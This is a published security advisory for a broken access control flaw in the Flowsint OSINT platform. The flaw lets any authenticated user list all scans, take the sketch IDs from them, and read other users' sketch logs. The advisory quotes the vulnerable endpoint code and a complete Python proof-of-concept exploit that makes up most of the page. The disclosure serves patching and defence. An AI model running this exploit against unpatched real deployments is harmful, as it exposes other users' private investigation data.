Skip to content

Broken Access Control allows reading of sketch logs from any user

Moderate
dextmorgn published GHSA-9r98-g8q5-cpq5 May 6, 2026

Package

No package listed

Affected versions

<edd1ac16e50c068a1f422132439a644c0fed29a7

Patched versions

1.2.3

Description

Summary

Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. The nodes can have automated processes execute on them called 'transformers', and the output of these are logged. These logs are scoped to each sketch. An adversary can acquire sketch IDs that have had transformers execute, and then access the logs of those sketches of other users.

Detail

Selecting a node and running any transform will pass the task to celery and initialise a 'scan'. The scans are accessible with any authentication. Within 'flowsint-api/app/api/routes/scan.py' on lines 13-22 is the following code snippet:

# Get the list of all scans
@router.get(
    "",
    response_model=List[ScanRead],
)
def get_scans(
    db: Session = Depends(get_db), current_user: Profile = Depends(get_current_user)
):
    scans = db.query(Scan).all()
    return scans

This is accessible from /api/scans and retrieves all scans in the database. A sample response contains the following:

[
	{
		"id":"52940dcc-16cc-41f6-83de-27ecd203020e",
		"sketch_id":"e291f2aa-0174-454b-95eb-094004c4773d",
		"status":"COMPLETED"
	}
]

The 'sketch_id' of a scan has now been leaked.

With the 'sketch_id', an adversary can now obtain the logs of a sketch. Within 'flowsint-api/app/api/routes/events.py' on lines 17-74 is this code snippet:

@router.get("/sketch/{sketch_id}/logs")
def get_logs_by_sketch(
    sketch_id: str,
    limit: int = 100,
    since: datetime | None = None,
    db: Session = Depends(get_db),
    # current_user: Profile = Depends(get_current_user)
):
    """Get historical logs for a specific sketch with optional filtering"""
    # Check if sketch exists
    sketch = db.query(Sketch).filter(Sketch.id == sketch_id).first()
    # <--SNIP-->
    return results

The 'current_user' is commented out and not used for querying the results table, allowing any adversary to access the logs of any sketch.

Impact

An adversary can monitor what transformers are being run on another sketch, and if those logs contain relationship payloads for the graph such as 'GRAPH_APPEND', an adversary can gather information about what nodes are within another sketch. This could allow an adversary to compromise what another investigation is being used for without any access to the investigation, its sketches or analyses.

PoC

#!/venv/bin/python3

import argparse
import random
import string
import time

import requests

# Made by sealldev

def random_string(length: int):
    """
    Generate a random string of letters and numbers of a specified length.
    """
    return "".join(random.choices(string.ascii_letters + string.digits, k=length))


class User:
    """
    Manages a user.
    """

    def __init__(self):
        self.username = random_string(20)
        self.password = random_string(20)
        self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
        self.session = requests.Session()
        self.remote_ip = "localhost"
        self.remote_port = 5001
        self.insecure = False
        self.url = ""
        self.headers = {}
        self.verbose = False

    def register_user(self):
        """
        Register a user on the /api/auth/register endpoint with randomly generated values.
        """
        json_payload = {
            "username": self.username,
            "email": self.email,
            "password": self.password,
        }
        res = self.session.post(
            f"{self.url}/api/auth/register",
            json=json_payload,
            verify=(not self.insecure),
        )
        if not res.status_code == 201:
            raise ValueError(
                f"[x] Expecting status code 201, recieved {res.status_code}"
            )
        res_data = res.json()
        message = res_data.get("message", "")
        if not message == "User registered successfully":
            raise ValueError(
                f'[x] Expected successful registration message, recieved "{message}".'
            )
        print("[+] User successfully registered!")
        if self.verbose:
            print(f"  - Username: {self.username}")
            print(f"  - Email: {self.email}")
            print(f"  - Password: {self.password}")
        return

    def get_token(self):
        """
        With a valid user's credentials, get a token for a user.
        """
        payload = {"username": self.email, "password": self.password}
        res = self.session.post(f"{self.url}/api/auth/token", data=payload)
        res_data = res.json()
        access_token = res_data.get("access_token", False)
        if not access_token:
            raise ValueError(
                f"[x] Exploitation failed, access token was not found in response.\n  - {res_data}"
            )
        self.headers = {"Authorization": f"Bearer {access_token}"}
        print("[+] Got access token!")
        if self.verbose:
            print(f"  - {access_token}...")
        return

    def create_investigation(self):
        """
        Create an investigation project, to then create a sketch within in 'create_sketch()'.
        """
        json_payload = {"name": random_string(20), "description": random_string(20)}
        res = self.session.post(
            f"{self.url}/api/investigations/create",
            json=json_payload,
            headers=self.headers,
        )
        res_data = res.json()
        investigation_id = res_data.get("id", False)
        if not investigation_id:
            raise ValueError(
                f"[x] Exploitation failed, investigation id was not found in response.\n  - {res_data}"
            )
        print('[+] Created an investigation "' + json_payload["name"] + '"')
        if self.verbose:
            print(f"  - Investigation ID: {investigation_id}")
        return investigation_id

    def create_sketch(self, investigation_id):
        """
        Create a sketch to execute the vulnerability within.
        """
        json_payload = {
            "title": random_string(20),
            "description": random_string(20),
            "investigation_id": investigation_id,
        }
        res = self.session.post(
            f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
        )
        res_data = res.json()
        sketch_id = res_data.get("id", False)
        if not sketch_id:
            raise ValueError(
                f"[x] Exploitation failed, sketch id was not found in response.\n  - Response: {res.content}\n  - Payload: {json_payload}"
            )
        print('[+] Created an sketch "' + json_payload["title"] + '"')
        if self.verbose:
            print(f"  - Sketch ID: {sketch_id}")
        return sketch_id

    # sealldev: make a username node and then create logs from it
    def create_username_node(self, sketch_id):
        """
        Create a username node on the sketch for sample log creation.
        """
        json_payload = {
            "type": "custom",
            "label": "sealldev",
            "data": {"name": "sealldev", "label": "sealldev", "type": "username"},
        }
        res = self.session.post(
            f"{self.url}/api/sketches/{sketch_id}/nodes/add",
            json=json_payload,
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
            )
        print("[+] Created organisation node on the sketch")
        return

    def create_logs_from_username(self, sketch_id):
        """
        Using the username_to_socials_maigret transformer, create some logs.
        """
        if not sketch_id:
            print("[x] Cannot launch transform without a sketch ID.")
            return

        json_payload = {
            "values": ["sealldev"],
            "sketch_id": sketch_id,
        }

        res = self.session.post(
            f"{self.url}/api/transforms/username_to_socials_maigret/launch",
            json=json_payload,
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
            )
        res_data = res.json()
        log_id = res_data.get("id", False)
        if not log_id:
            raise ValueError(
                f"[x] Exploitation failed, no id found in response\n  - Response: {res_data}"
            )
        print("[+] Transformer started with username to start a scan.")
        if self.verbose:
            print(f"  - Transformer Action ID: {log_id}")

    def get_scan_list(self):
        """
        Get list of scans done on the application.
        """
        res = self.session.get(
            f"{self.url}/api/scans",
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Unexpected status code when getting list of scans, expected 200 recieved {res.status_code}"
            )
        res_data = res.json()
        if len(res_data) == 0:
            print("[-] No entries in the scan logs")
            return False
        print(f"[+] Found {len(res_data)} entries in the scan logs")
        return res_data

    def get_logs(self, sketch_id):
        """
        Get logs by it's sketch ID.
        """
        res = self.session.get(
            f"{self.url}/api/events/sketch/{sketch_id}/logs",
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Unexpected status code when getting scan, expected 200 recieved {res.status_code}"
            )
        res_data = res.json()
        if len(res_data) == 0:
            raise ValueError("[x] No data in scan")
        return res_data

    def clear_scan_list(self):
        """
        Get list of scans done on the application.
        """
        res = self.session.delete(
            f"{self.url}/api/scans",
            headers=self.headers,
        )
        if not res.status_code == 204:
            raise ValueError(
                f"[x] Unexpected status code when clearing scan list, expected 204 recieved {res.status_code}"
            )
        return


class BacSketchLogs:
    """
    A generalised class to manage the web sessions and values for the exploit.
    """

    def __init__(self):
        self.remote_ip = "localhost"
        self.remote_port = 5001
        self.insecure = False
        self.url = ""
        self.headers = {}
        self.payload = ""
        self.verbose = False

    def exploit(self):
        """
        Execute the exploit.
        """
        victim_user = User()
        adversary_user = User()
        users = [victim_user, adversary_user]
        for n, user in enumerate(users):
            print(
                f'[+] Creating user #{n+1} - {"victim" if n == 0 else "adversary"}...'
            )
            user.url = self.url
            user.verbose = self.verbose
            user.insecure = self.insecure
            user.register_user()
            user.get_token()
        # This is just to clean up previous attempts, it could be done without
        # but for examples sake, this is the simplest way to ensure success.
        adversary_user.clear_scan_list()
        print(" --- Victim Actions ---")
        victim_investigation_id = victim_user.create_investigation()
        victim_sketch_id = victim_user.create_sketch(victim_investigation_id)
        victim_user.create_logs_from_username(victim_sketch_id)
        print(" --- Adversary Actions ---")
        while True:

            adversary_scan = adversary_user.get_scan_list()
            if adversary_scan and adversary_scan[0].get("status", None) == "COMPLETED":
                break
            elif not adversary_scan:
                print("[-] No entries, trying again in 10s...")
                time.sleep(10)
            elif not adversary_scan[0].get("status", None) == "COMPLETED":
                print("[-] Scan not completed, trying again in 10s...")
                time.sleep(10)
        adversary_sketch_id = adversary_scan[0].get("sketch_id", None)
        if not adversary_sketch_id == victim_sketch_id:
            raise ValueError(
                f"[x] The sketch ids are mismatched.\n  - Victim: {victim_sketch_id}\n  - Adversary: {adversary_sketch_id}"
            )
        print(
            f"[+] Leaked sketch ID {adversary_sketch_id} from victim scan, matches victim sketch ID"
        )
        adversary_log_data = adversary_user.get_logs(adversary_sketch_id)
        print(f"[+] Leaked {len(adversary_log_data)} logs:")
        for log in adversary_log_data:
            print(log)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-rp",
        "--remote-port",
        help="The port for the remote Flowsint API (Default: 5001).",
        default=5001,
    )
    parser.add_argument(
        "-ri",
        "--remote-ip",
        help="The IP for the remote Flowsint API (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        help="Enable verbosity in logging for extra detail when debugging (Default: False).",
        action="store_true",
    )
    parser.add_argument(
        "-k",
        "--insecure",
        help="Utilise HTTP for a connection to the website (Default: False).",
        action="store_true",
    )
    args = parser.parse_args()

    exploit = BacSketchLogs()
    if args.remote_port:
        exploit.remote_port = args.remote_port
    if args.remote_ip:
        exploit.remote_ip = args.remote_ip
    if args.insecure:
        exploit.insecure = args.insecure
    if args.verbose:
        exploit.verbose = args.verbose
    exploit.url = (
        f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
    )
    exploit.exploit()

Severity

Moderate

CVE ID

CVE-2026-44352

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Credits